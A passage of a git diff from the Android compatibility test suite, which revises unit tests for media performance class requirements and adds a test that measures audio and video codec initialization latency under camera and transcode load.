             this.<Integer>setMeasuredValue("test_measurement_1", measure);
         }
 
-        public void setLTEMeasurement(int measure) {
-            this.<Integer>setMeasuredValue("test_measurement_2", measure);
-        }
-
         public static TestReq create() {
             RequiredMeasurement<Integer> measurement1 = RequiredMeasurement
                 .<Integer>builder()
                 .setId("test_measurement_1")
                 .setPredicate(RequirementConstants.INTEGER_GTE)
-                .addRequiredValue(Build.VERSION_CODES.R, 200)
-                .addRequiredValue(Build.VERSION_CODES.S, 300)
+                .addRequiredValue(30, 200)
+                .addRequiredValue(31, 300)
+                .addRequiredValue(32, 400)
+                .build();
+
+            return new TestReq("TestReq", measurement1);
+        }
+    }
+
+    public static class TestReqWith2Measures extends Requirement {
+        private TestReqWith2Measures(String id, RequiredMeasurement<?> ... reqs) {
+            super(id, reqs);
+        }
+
+        public void setMeasurement1(int measure) {
+            this.<Integer>setMeasuredValue("test_measurement_1", measure);
+        }
+
+        public void setMeasurement2(int measure) {
+            this.<Integer>setMeasuredValue("test_measurement_2", measure);
+        }
+
+        public static TestReqWith2Measures create() {
+            RequiredMeasurement<Integer> measurement1 = RequiredMeasurement
+                .<Integer>builder()
+                .setId("test_measurement_1")
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(30, 200)
+                .addRequiredValue(31, 300)
+                .addRequiredValue(32, 400)
                 .build();
             RequiredMeasurement<Integer> measurement2 = RequiredMeasurement
                 .<Integer>builder()
                 .setId("test_measurement_2")
-                .setPredicate(RequirementConstants.INTEGER_LTE)
-                .addRequiredValue(Build.VERSION_CODES.R, 500)
-                .addRequiredValue(Build.VERSION_CODES.S, 300)
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(30, 200)
+                .addRequiredValue(31, 300)
+                .addRequiredValue(32, 400)
                 .build();
 
-            return new TestReq("TestReq", measurement1, measurement2);
+            return new TestReqWith2Measures("TestReqWith2Measures", measurement1, measurement2);
         }
     }
 
-    // used as a base for computePerformanceClass_testCase methods
-    private void testComputePerformanceClass(int gteMeasure, int lteMeasure, int expectedPC) {
+    @Test
+    public void computePerformanceClass_0() {
         TestReq testReq = TestReq.create();
         int pc;
 
-        // both measurements do not meet R
-        testReq.setGTEMeasurement(gteMeasure);
-        testReq.setLTEMeasurement(lteMeasure);
+        testReq.setMeasurement1(100);
         pc = testReq.computePerformanceClass();
-        assertThat(pc).isEqualTo(expectedPC);
+        assertThat(pc).isEqualTo(0);
     }
 
     @Test
-    public void computePerformanceClass_bothNotR() {
-        // both measurements do not meet R
-        this.testComputePerformanceClass(100, 600, 0);
-    }
-
-    @Test
-    public void computePerformanceClass_onlyOneR() {
-        // one measurement does not meet R
-        this.testComputePerformanceClass(200, 600, 0);
-    }
-
-    @Test
-    public void computePerformanceClass_bothR() {
-        // both measurements meet R
-        this.testComputePerformanceClass(200, 500, Build.VERSION_CODES.R);
-    }
-
-    @Test
-    public void computePerformanceClass_onlyOneS() {
-        // one measurements does not meet S
-        this.testComputePerformanceClass(200, 100, Build.VERSION_CODES.R);
-    }
-
-    @Test
-    public void computePerformanceClass_bothS() {
-        // both measurements meet S
-        this.testComputePerformanceClass(500, 100, Build.VERSION_CODES.S);
-    }
-
-    // used as a base for checkPerformanceClass_testCase methods
-    private void testCheckPerformanceClass(int testPerfClass, boolean expectedResult) {
+    public void computePerformanceClass_30() {
         TestReq testReq = TestReq.create();
-        boolean perfClassMet;
+        int pc;
 
-        perfClassMet = testReq.checkPerformanceClass("checkPerformanceClass", testPerfClass, 31);
-        assertThat(perfClassMet).isEqualTo(expectedResult);
+        testReq.setMeasurement1(200);
+        pc = testReq.computePerformanceClass();
+        assertThat(pc).isEqualTo(30);
+    }
+
+    @Test
+    public void computePerformanceClass_31() {
+       TestReq testReq = TestReq.create();
+        int pc;
+
+        testReq.setMeasurement1(300);
+        pc = testReq.computePerformanceClass();
+        assertThat(pc).isEqualTo(31);
+    }
+
+    @Test
+    public void computePerformanceClass_32() {
+        TestReq testReq = TestReq.create();
+        int pc;
+
+        testReq.setMeasurement1(400);
+        pc = testReq.computePerformanceClass();
+        assertThat(pc).isEqualTo(32);
+    }
+
+    @Test
+    public void computePerformanceClass_PicksLower() {
+        TestReqWith2Measures testReq = TestReqWith2Measures.create();
+        int pc;
+
+        // measure1 meets 32, but measure2 only meets 30
+        testReq.setMeasurement1(401);
+        testReq.setMeasurement2(201);
+
+        pc = testReq.computePerformanceClass();
+        assertThat(pc).isEqualTo(30);
     }
 
     @Test
     public void checkPerformanceClass_justBelow() {
-        // just below required perfClass
-        int testPerfClass = 30;
-        this.testCheckPerformanceClass(testPerfClass, false);
+        TestReq testReq = TestReq.create();
+        boolean perfClassMet;
+
+        // setting measurements to meet pc 31
+        testReq.setMeasurement1(300);
+
+        perfClassMet = testReq.checkPerformanceClass(32);
+        assertThat(perfClassMet).isEqualTo(false);
     }
 
     @Test
     public void checkPerformanceClass_justAt() {
-        // just at required perfClass
-        int testPerfClass = 31;
-        this.testCheckPerformanceClass(testPerfClass, true);
+        TestReq testReq = TestReq.create();
+        boolean perfClassMet;
+
+        // setting measurements to meet pc 31
+        testReq.setMeasurement1(300);
+
+        perfClassMet = testReq.checkPerformanceClass(31);
+        assertThat(perfClassMet).isEqualTo(true);
     }
 
     @Test
     public void checkPerformanceClass_justAbove() {
-        // just above required perfClass
-        int testPerfClass = 32;
-        this.testCheckPerformanceClass(testPerfClass, true);
+        TestReq testReq = TestReq.create();
+        boolean perfClassMet;
+
+        // setting measurements to meet pc 31
+        testReq.setMeasurement1(301);
+
+        perfClassMet = testReq.checkPerformanceClass(30);
+        assertThat(perfClassMet).isEqualTo(true);
+    }
+
+    @Test
+    public void checkPerformanceClass_OutOfRange() {
+        TestReq testReq = TestReq.create();
+        boolean perfClassMet;
+
+        // setting measurements to meet pc 31
+        testReq.setMeasurement1(300);
+
+        // performance class 33 not handled by testReq, so expected result is true
+        perfClassMet = testReq.checkPerformanceClass(33);
+        assertThat(perfClassMet).isEqualTo(true);
     }
 }
\ No newline at end of file
diff --git a/tests/mediapc/src/android/mediapc/cts/CodecInitializationLatencyTest.java b/tests/mediapc/src/android/mediapc/cts/CodecInitializationLatencyTest.java
new file mode 100644
index 0000000..e1260e7
--- /dev/null
+++ b/tests/mediapc/src/android/mediapc/cts/CodecInitializationLatencyTest.java
@@ -0,0 +1,662 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediapc.cts;
+
+import static android.mediapc.cts.CodecTestBase.SELECT_ALL;
+import static android.mediapc.cts.CodecTestBase.SELECT_AUDIO;
+import static android.mediapc.cts.CodecTestBase.SELECT_HARDWARE;
+import static android.mediapc.cts.CodecTestBase.SELECT_VIDEO;
+import static android.mediapc.cts.CodecTestBase.getMimesOfAvailableCodecs;
+import static android.mediapc.cts.CodecTestBase.selectCodecs;
+import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaFormat;
+import android.media.MediaRecorder;
+import android.mediapc.cts.common.Utils;
+import android.os.Build;
+import android.util.Log;
+import android.util.Pair;
+import android.view.Surface;
+
+import androidx.test.filters.LargeTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+
+import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.DeviceReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * The following test class validates the codec initialization latency (time for codec create +
+ * configure) for the audio codecs and hardware video codecs available in the device, under the
+ * load condition (Transcode + MediaRecorder session Audio(Microphone) and 1080p Video(Camera)).
+ */
+@RunWith(Parameterized.class)
+public class CodecInitializationLatencyTest {
+    private static final String LOG_TAG = CodecInitializationLatencyTest.class.getSimpleName();
+    private static final boolean[] boolStates = {false, true};
+    private static final int MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_R_MS = 50;
+    private static final int MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_R_MS = 65;
+    private static final int MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_S_MS = 40;
+    private static final int MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_S_MS = 50;
+    private static final int MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_T_MS = 30;
+    private static final int MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_T_MS = 40;
+    private static final int MAX_AUDIODEC_INITIALIZATION_LATENCY_PC_T_MS = 30;
+    private static final int MAX_VIDEODEC_INITIALIZATION_LATENCY_PC_T_MS = 40;
+
+    private static final int MAX_AUDIOENC_INITIALIZATION_LATENCY_MS;
+    private static final int MAX_VIDEOENC_INITIALIZATION_LATENCY_MS;
+    private static final int MAX_AUDIODEC_INITIALIZATION_LATENCY_MS;
+    private static final int MAX_VIDEODEC_INITIALIZATION_LATENCY_MS;
+    private static final String AVC = MediaFormat.MIMETYPE_VIDEO_AVC;
+    private static final String HEVC = MediaFormat.MIMETYPE_VIDEO_HEVC;
+    private static final String AVC_TRANSCODE_FILE = "bbb_1280x720_3mbps_30fps_avc.mp4";
+    private static String AVC_DECODER_NAME;
+    private static String AVC_ENCODER_NAME;
+    private static final Map<String, String> mTestFiles = new HashMap<>();
+
+    static {
+        if (Utils.isRPerfClass()) {
+            MAX_AUDIOENC_INITIALIZATION_LATENCY_MS = MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_R_MS;
+            MAX_VIDEOENC_INITIALIZATION_LATENCY_MS = MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_R_MS;
+        } else if (Utils.isSPerfClass()) {
+            MAX_AUDIOENC_INITIALIZATION_LATENCY_MS = MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_S_MS;
+            MAX_VIDEOENC_INITIALIZATION_LATENCY_MS = MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_S_MS;
+        } else {
+            // Performance class Build.VERSION_CODES.TIRAMISU and beyond
+            MAX_AUDIOENC_INITIALIZATION_LATENCY_MS = MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_T_MS;
+            MAX_VIDEOENC_INITIALIZATION_LATENCY_MS = MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_T_MS;
+        }
+        if (Utils.isTPerfClass()) {
+            MAX_AUDIODEC_INITIALIZATION_LATENCY_MS = MAX_AUDIODEC_INITIALIZATION_LATENCY_PC_T_MS;
+            MAX_VIDEODEC_INITIALIZATION_LATENCY_MS = MAX_VIDEODEC_INITIALIZATION_LATENCY_PC_T_MS;
+        } else {
+            // no requirement below performance class Build.VERSION_CODES.TIRAMISU
+            MAX_AUDIODEC_INITIALIZATION_LATENCY_MS = Integer.MAX_VALUE;
+            MAX_VIDEODEC_INITIALIZATION_LATENCY_MS = Integer.MAX_VALUE;
+        }
+        // TODO(b/222006626): Add tests vectors for remaining media types
+        // Audio media types
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_AAC, "bbb_stereo_48kHz_128kbps_aac.mp4");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_AMR_NB, "bbb_mono_8kHz_12.2kbps_amrnb.3gp");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_AMR_WB, "bbb_1ch_16kHz_23kbps_amrwb.3gp");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_FLAC, "bbb_1ch_12kHz_lvl4_flac.mka");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_G711_ALAW, "bbb_2ch_8kHz_alaw.wav");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_G711_MLAW, "bbb_2ch_8kHz_mulaw.wav");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_MPEG, "bbb_1ch_8kHz_lame_cbr.mp3");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_MSGSM, "bbb_1ch_8kHz_gsm.wav");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_OPUS, "bbb_2ch_48kHz_opus.mka");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_RAW, "bbb_1ch_8kHz.wav");
+        mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_VORBIS, "bbb_stereo_48kHz_128kbps_vorbis.ogg");
+
+        // Video media types
+        mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_1920x1080_4mbps_30fps_av1.mp4");
+        mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1920x1080_6mbps_30fps_avc.mp4");
+        mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_H263, "bbb_cif_768kbps_30fps_h263.mp4");
+        mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_1920x1080_4mbps_30fps_hevc.mp4");
+        mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_MPEG2, "bbb_1920x1080_mpeg2_main_high.mp4");
+        mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_MPEG4, "bbb_cif_768kbps_30fps_mpeg4.mkv");
+        mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP8, "bbb_1920x1080_6mbps_30fps_vp8.webm");
+        mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_1920x1080_4mbps_30fps_vp9.webm");
+    }
+
+    private final String mMime;
+    private final String mCodecName;
+
+    private LoadStatus mTranscodeLoadStatus = null;
+    private Thread mTranscodeLoadThread = null;
+    private MediaRecorder mMediaRecorderLoad = null;
+    private File mTempRecordedFile = null;
+    private Surface mSurface = null;
+    private Exception mException = null;
+
+    @Before
+    public void setUp() throws Exception {
+        Utils.assumeDeviceMeetsPerformanceClassPreconditions();
+
+        ArrayList<String> listOfAvcHwDecoders = selectHardwareCodecs(AVC, null, null, false);
+        assumeFalse("Test requires h/w avc decoder", listOfAvcHwDecoders.isEmpty());
+        AVC_DECODER_NAME = listOfAvcHwDecoders.get(0);
+
+        ArrayList<String> listOfAvcHwEncoders = selectHardwareCodecs(AVC, null, null, true);
+        assumeFalse("Test requires h/w avc encoder", listOfAvcHwEncoders.isEmpty());
+        AVC_ENCODER_NAME = listOfAvcHwEncoders.get(0);
+
+        Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        Context context = instrumentation.getTargetContext();
+        PackageManager packageManager = context.getPackageManager();
+        assertNotNull(packageManager.getSystemAvailableFeatures());
+        assumeTrue("The device doesn't have a camera",
+                packageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_ANY));
+        assumeTrue("The device doesn't have a microphone",
+                packageManager.hasSystemFeature(PackageManager.FEATURE_MICROPHONE));
+        createSurface();
+        startLoad();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        stopLoad();
+        releaseSurface();
+    }
+
+    public CodecInitializationLatencyTest(String mimeType, String codecName) {
+        mMime = mimeType;
+        mCodecName = codecName;
+    }
+
+    @Rule
+    public ActivityTestRule<TestActivity> mActivityRule =
+            new ActivityTestRule<>(TestActivity.class);
+
+    /**
+     * Returns the list of parameters with mimetype and their codecs(for audio - all codecs,
+     * video - hardware codecs).
+     *
+     * @return Collection of Parameters {0}_{1} -- MIME_CodecName
+     */
+    @Parameterized.Parameters(name = "{index}({0}_{1})")
+    public static Collection<Object[]> inputParams() {
+        // Prepares the params list with the required Hardware video codecs and all available
+        // audio codecs present in the device.
+        final List<Object[]> argsList = new ArrayList<>();
+        Set<String> mimeSet = getMimesOfAvailableCodecs(SELECT_VIDEO, SELECT_HARDWARE);
+        mimeSet.addAll(getMimesOfAvailableCodecs(SELECT_AUDIO, SELECT_ALL));
+        for (String mime : mimeSet) {
+            ArrayList<String> listOfCodecs;
+            if (mime.startsWith("audio/")) {
+                listOfCodecs = selectCodecs(mime, null, null, true);
+                listOfCodecs.addAll(selectCodecs(mime, null, null, false));
+            } else {
+                listOfCodecs = selectHardwareCodecs(mime, null, null, true);
+                listOfCodecs.addAll(selectHardwareCodecs(mime, null, null, false));
+            }
+            for (String codec : listOfCodecs) {
+                argsList.add(new Object[]{mime, codec});
+            }
+        }
+        return argsList;
+    }
+
+    private MediaRecorder createMediaRecorderLoad(Surface surface) throws Exception {
+        MediaRecorder mediaRecorder = new MediaRecorder(InstrumentationRegistry.getInstrumentation()
+                .getContext());
+        mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+        mediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
+        mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
+        mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
+        mediaRecorder.setVideoEncoder(mMime.equalsIgnoreCase(HEVC) ?
+                MediaRecorder.VideoEncoder.HEVC : MediaRecorder.VideoEncoder.H264);
+        mediaRecorder.setOutputFile(mTempRecordedFile);
+        mediaRecorder.setVideoSize(1920, 1080);
+        mediaRecorder.setOrientationHint(0);
+        mediaRecorder.setPreviewDisplay(surface);
+        mediaRecorder.prepare();
+        return mediaRecorder;
+    }
+
+    private void startLoad() throws Exception {
+        // TODO: b/183671436
+        // Create Transcode load (AVC Decoder(720p) + AVC Encoder(720p))
+        mTranscodeLoadStatus = new LoadStatus();
+        mTranscodeLoadThread = new Thread(() -> {
+            try {
+                TranscodeLoad transcodeLoad = new TranscodeLoad(AVC, AVC_TRANSCODE_FILE,
+                        AVC_DECODER_NAME, AVC_ENCODER_NAME, mTranscodeLoadStatus);
+                transcodeLoad.doTranscode();
+            } catch (Exception e) {
+                mException = e;
+            }
+        });
+        // Create MediaRecorder Session - Audio (Microphone) + 1080p Video (Camera)
+        // Create a temp file to dump the MediaRecorder output. Later it will be deleted.
+        mTempRecordedFile = new File(WorkDir.getMediaDirString() + "tempOut.mp4");
+        mTempRecordedFile.createNewFile();
+        mMediaRecorderLoad = createMediaRecorderLoad(mSurface);
+        // Start the Loads
+        mTranscodeLoadThread.start();
+        mMediaRecorderLoad.start();
+    }
+
+    private void stopLoad() throws Exception {
+        if (mTranscodeLoadStatus != null) {
+            mTranscodeLoadStatus.setLoadFinished();
+            mTranscodeLoadStatus = null;
+        }
+        if (mTranscodeLoadThread != null) {
+            mTranscodeLoadThread.join();
+            mTranscodeLoadThread = null;
+        }
+        if (mMediaRecorderLoad != null) {
+            // Note that a RuntimeException is intentionally thrown to the application, if no valid
+            // audio/video data has been received when stop() is called. This happens if stop() is
+            // called immediately after start(). So sleep for 1000ms inorder to make sure some
+            // data has been received between start() and stop().
+            Thread.sleep(1000);
+            mMediaRecorderLoad.stop();
+            mMediaRecorderLoad.release();
+            mMediaRecorderLoad = null;
+            if (mTempRecordedFile != null && mTempRecordedFile.exists()) {
+                mTempRecordedFile.delete();
+                mTempRecordedFile = null;
+            }
+        }
+        if (mException != null) throw mException;
+    }
+
+    private void createSurface() throws InterruptedException {
+        mActivityRule.getActivity().waitTillSurfaceIsCreated();
+        mSurface = mActivityRule.getActivity().getSurface();
+        assertNotNull("Surface created is null.", mSurface);
+        assertTrue("Surface created is invalid.", mSurface.isValid());
+        mActivityRule.getActivity().setScreenParams(1920, 1080, true);
+    }
+
+    private void releaseSurface() {
+        if (mSurface != null) {
+            mSurface.release();
+            mSurface = null;
+        }
+    }
+
+    /**
+     * This test validates the initialization latency (time for codec create + configure) for
+     * audio and hw video codecs.
+     *
+     * <p>Measurements are taken 5 * 2(sync/async) * [1 or 2]
+     * (surface/non-surface for video) times. This also logs the stats: min, max, avg of the codec
+     * initialization latencies.
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirements = {
+        "2.2.7.1/5.1/H-1-7",
+        "2.2.7.1/5.1/H-1-8",})
+    public void testInitializationLatency() throws Exception {
+        MediaCodec codec = MediaCodec.createByCodecName(mCodecName);
+        boolean isEncoder = codec.getCodecInfo().isEncoder();
+        boolean isAudio = mMime.startsWith("audio/");
+        codec.release();
+        final int NUM_MEASUREMENTS = 5;
+        // Test gathers initialization latency for a number of iterations and
+        // percentile is a variable used to control how many of these iterations
+        // need to meet the pass criteria. For eg. if NUM_MEASUREMENTS = 5, audio, sync and Async
+        // modes which is a total of 10 iterations, this translates to index 7.
+        final int percentile = 70;
+        long expectedMaxCodecInitializationLatencyMs = isAudio ?
+                isEncoder ? MAX_AUDIOENC_INITIALIZATION_LATENCY_MS :
+                        MAX_AUDIODEC_INITIALIZATION_LATENCY_MS :
+                isEncoder ? MAX_VIDEOENC_INITIALIZATION_LATENCY_MS :
+                        MAX_VIDEODEC_INITIALIZATION_LATENCY_MS;
+        long sumOfCodecInitializationLatencyMs = 0;
+        int count = 0;
+        int numOfActualMeasurements =
+                NUM_MEASUREMENTS * boolStates.length * ((!isEncoder && !isAudio) ? 2 : 1);
+        long[] codecInitializationLatencyMs = new long[numOfActualMeasurements];
+        for (int i = 0; i < NUM_MEASUREMENTS; i++) {
+            for (boolean isAsync : boolStates) {
+                long latency;
+                if (isEncoder) {
+                    EncoderInitializationLatency encoderInitializationLatency =
+                            new EncoderInitializationLatency(mMime, mCodecName, isAsync);
+                    latency = encoderInitializationLatency.calculateInitLatency();
+                    codecInitializationLatencyMs[count] = latency;
+                    sumOfCodecInitializationLatencyMs += latency;
+                    count++;
+                } else {
+                    String testFile = mTestFiles.get(mMime);
+                    assumeTrue("Add test vector for media type: " + mMime, testFile != null);
+                    if (isAudio) {
+                        DecoderInitializationLatency decoderInitializationLatency =
+                                new DecoderInitializationLatency(mMime, mCodecName, testFile,
+                                        isAsync, false);
+                        latency = decoderInitializationLatency.calculateInitLatency();
+                        codecInitializationLatencyMs[count] = latency;
+                        sumOfCodecInitializationLatencyMs += latency;
+                        count++;
+                    } else {
+                        for (boolean surfaceMode : boolStates) {
+                            DecoderInitializationLatency decoderInitializationLatency =
+                                    new DecoderInitializationLatency(mMime, mCodecName,
+                                            testFile,
+                                            isAsync, surfaceMode);
+                            latency = decoderInitializationLatency.calculateInitLatency();
+                            codecInitializationLatencyMs[count] = latency;
+                            sumOfCodecInitializationLatencyMs += latency;
+                            count++;
+                        }
+                    }
+                }
+            }
+        }
+        Arrays.sort(codecInitializationLatencyMs);
+
+        String statsLog = String.format("CodecInitialization latency for mime: %s, " +
+                "Codec: %s, in Ms :: ", mMime, mCodecName);
+        Log.i(LOG_TAG, "Min " + statsLog + codecInitializationLatencyMs[0]);
+        Log.i(LOG_TAG, "Max " + statsLog + codecInitializationLatencyMs[count - 1]);
+        Log.i(LOG_TAG, "Avg " + statsLog + (sumOfCodecInitializationLatencyMs / count));
+        long initializationLatency = codecInitializationLatencyMs[percentile * count / 100];
+        if (Utils.isPerfClass()) {
+            String errorLog = String.format(
+                    "CodecInitialization latency for mime: %s, Codec: %s is not as expected."
+                            + "act/exp in Ms :: %d/%d", mMime, mCodecName, initializationLatency,
+                    expectedMaxCodecInitializationLatencyMs);
+            assertTrue(errorLog, initializationLatency <= expectedMaxCodecInitializationLatencyMs);
+        } else {
+            int pc;
+            if (mMime.startsWith("audio/")) {
+                pc = initializationLatency < MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_T_MS ?
+                        Build.VERSION_CODES.TIRAMISU :
+                        initializationLatency < MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_S_MS ?
+                                Build.VERSION_CODES.S : initializationLatency <
+                                MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_R_MS ?
+                                Build.VERSION_CODES.R : 0;
+            } else {
+                pc = initializationLatency < MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_T_MS ?
+                        Build.VERSION_CODES.TIRAMISU :
+                        initializationLatency < MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_S_MS ?
+                                Build.VERSION_CODES.S : initializationLatency <
+                                MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_R_MS ?
+                                Build.VERSION_CODES.R : 0;
+            }
+            DeviceReportLog log = new DeviceReportLog("MediaPerformanceClassLogs",
+                    "InitializationLatency_" + mCodecName);
+            log.addValue("codec", mCodecName, ResultType.NEUTRAL, ResultUnit.NONE);
+            log.addValue("initialization_latency", initializationLatency, ResultType.LOWER_BETTER,
+                    ResultUnit.NONE);
+            log.setSummary("CDD 2.2.7.1/5.1/H-1-7,H-1-8 performance_class", pc, ResultType.NEUTRAL,
+                    ResultUnit.NONE);
+            log.submit(InstrumentationRegistry.getInstrumentation());
+        }
+    }
+
+    /**
+     * The following class calculates the encoder initialization latency (time for codec create +
+     * configure).
+     *
+     * <p>And also logs the time taken by the encoder for:
+     * (create + configure + start),
+     * (create + configure + start + first frame to enqueue),
+     * (create + configure + start + first frame to dequeue).
+     */
+    static class EncoderInitializationLatency extends CodecEncoderTestBase {
+        private static final String LOG_TAG = EncoderInitializationLatency.class.getSimpleName();
+
+        private final String mEncoderName;
+        private final boolean mIsAsync;
+
+        EncoderInitializationLatency(String mime, String encoderName, boolean isAsync) {
+            super(mime);
+            mEncoderName = encoderName;
+            mIsAsync = isAsync;
+            mSampleRate = 8000;
+            mFrameRate = 60;
+        }
+
+        private MediaFormat setUpFormat() throws IOException {
+            MediaFormat format = new MediaFormat();
+            format.setString(MediaFormat.KEY_MIME, mMime);
+            if (mIsAudio) {
+                if (mMime.equals(MediaFormat.MIMETYPE_AUDIO_FLAC)) {
+                    format.setInteger(MediaFormat.KEY_FLAC_COMPRESSION_LEVEL, 10000);
+                } else {
+                    format.setInteger(MediaFormat.KEY_BIT_RATE, 128000);
+                }
+                format.setInteger(MediaFormat.KEY_SAMPLE_RATE, mSampleRate);
+                format.setInteger(MediaFormat.KEY_CHANNEL_COUNT, 1);
+            } else {
+                MediaCodec codec = MediaCodec.createByCodecName(mEncoderName);
+                MediaCodecInfo.CodecCapabilities codecCapabilities =
+                        codec.getCodecInfo().getCapabilitiesForType(mMime);
+                if (codecCapabilities.getVideoCapabilities().isSizeSupported(1920, 1080)) {
+                    format.setInteger(MediaFormat.KEY_WIDTH, 1920);
+                    format.setInteger(MediaFormat.KEY_HEIGHT, 1080);
+                    format.setInteger(MediaFormat.KEY_BIT_RATE, 8000000);
+                } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(1280, 720)) {
+                    format.setInteger(MediaFormat.KEY_WIDTH, 1280);
+                    format.setInteger(MediaFormat.KEY_HEIGHT, 720);
+                    format.setInteger(MediaFormat.KEY_BIT_RATE, 5000000);
+                } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(640, 480)) {
+                    format.setInteger(MediaFormat.KEY_WIDTH, 640);
+                    format.setInteger(MediaFormat.KEY_HEIGHT, 480);
+                    format.setInteger(MediaFormat.KEY_BIT_RATE, 2000000);
+                } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(352, 288)) {
+                    format.setInteger(MediaFormat.KEY_WIDTH, 352);
+                    format.setInteger(MediaFormat.KEY_HEIGHT, 288);
+                    format.setInteger(MediaFormat.KEY_BIT_RATE, 512000);
+                } else {
+                    format.setInteger(MediaFormat.KEY_WIDTH, 176);
+                    format.setInteger(MediaFormat.KEY_HEIGHT, 144);
+                    format.setInteger(MediaFormat.KEY_BIT_RATE, 128000);
+                }
+                codec.release();
+                format.setInteger(MediaFormat.KEY_FRAME_RATE, mFrameRate);
+                format.setFloat(MediaFormat.KEY_I_FRAME_INTERVAL, 1.0f);
+                format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                        MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
+            }
+            return format;
+        }
+
+        public long calculateInitLatency() throws Exception {
+            MediaFormat format = setUpFormat();
+            if (mIsAudio) {
+                mSampleRate = format.getInteger(MediaFormat.KEY_SAMPLE_RATE);
+                mChannels = format.getInteger(MediaFormat.KEY_CHANNEL_COUNT);
+            } else {
+                mWidth = format.getInteger(MediaFormat.KEY_WIDTH);
+                mHeight = format.getInteger(MediaFormat.KEY_HEIGHT);
+            }
+            setUpSource(mInputFile);
+            MediaCodec.BufferInfo outInfo = new MediaCodec.BufferInfo();
+            long enqueueTimeStamp = 0;
+            long dequeueTimeStamp = 0;
+            long baseTimeStamp = System.nanoTime();
+            mCodec = MediaCodec.createByCodecName(mEncoderName);
+            resetContext(mIsAsync, false);
+            mAsyncHandle.setCallBack(mCodec, mIsAsync);
+            mCodec.configure(format, null, MediaCodec.CONFIGURE_FLAG_ENCODE, null);
+            long configureTimeStamp = System.nanoTime();
+            mCodec.start();
+            long startTimeStamp = System.nanoTime();
+            if (mIsAsync) {
+                // We will keep on feeding the input to encoder until we see the first dequeued
+                // frame.
+                while (!mAsyncHandle.hasSeenError() && !mSawInputEOS) {
+                    Pair<Integer, MediaCodec.BufferInfo> element = mAsyncHandle.getWork();
+                    if (element != null) {
+                        int bufferID = element.first;
+                        MediaCodec.BufferInfo info = element.second;
+                        if (info != null) {
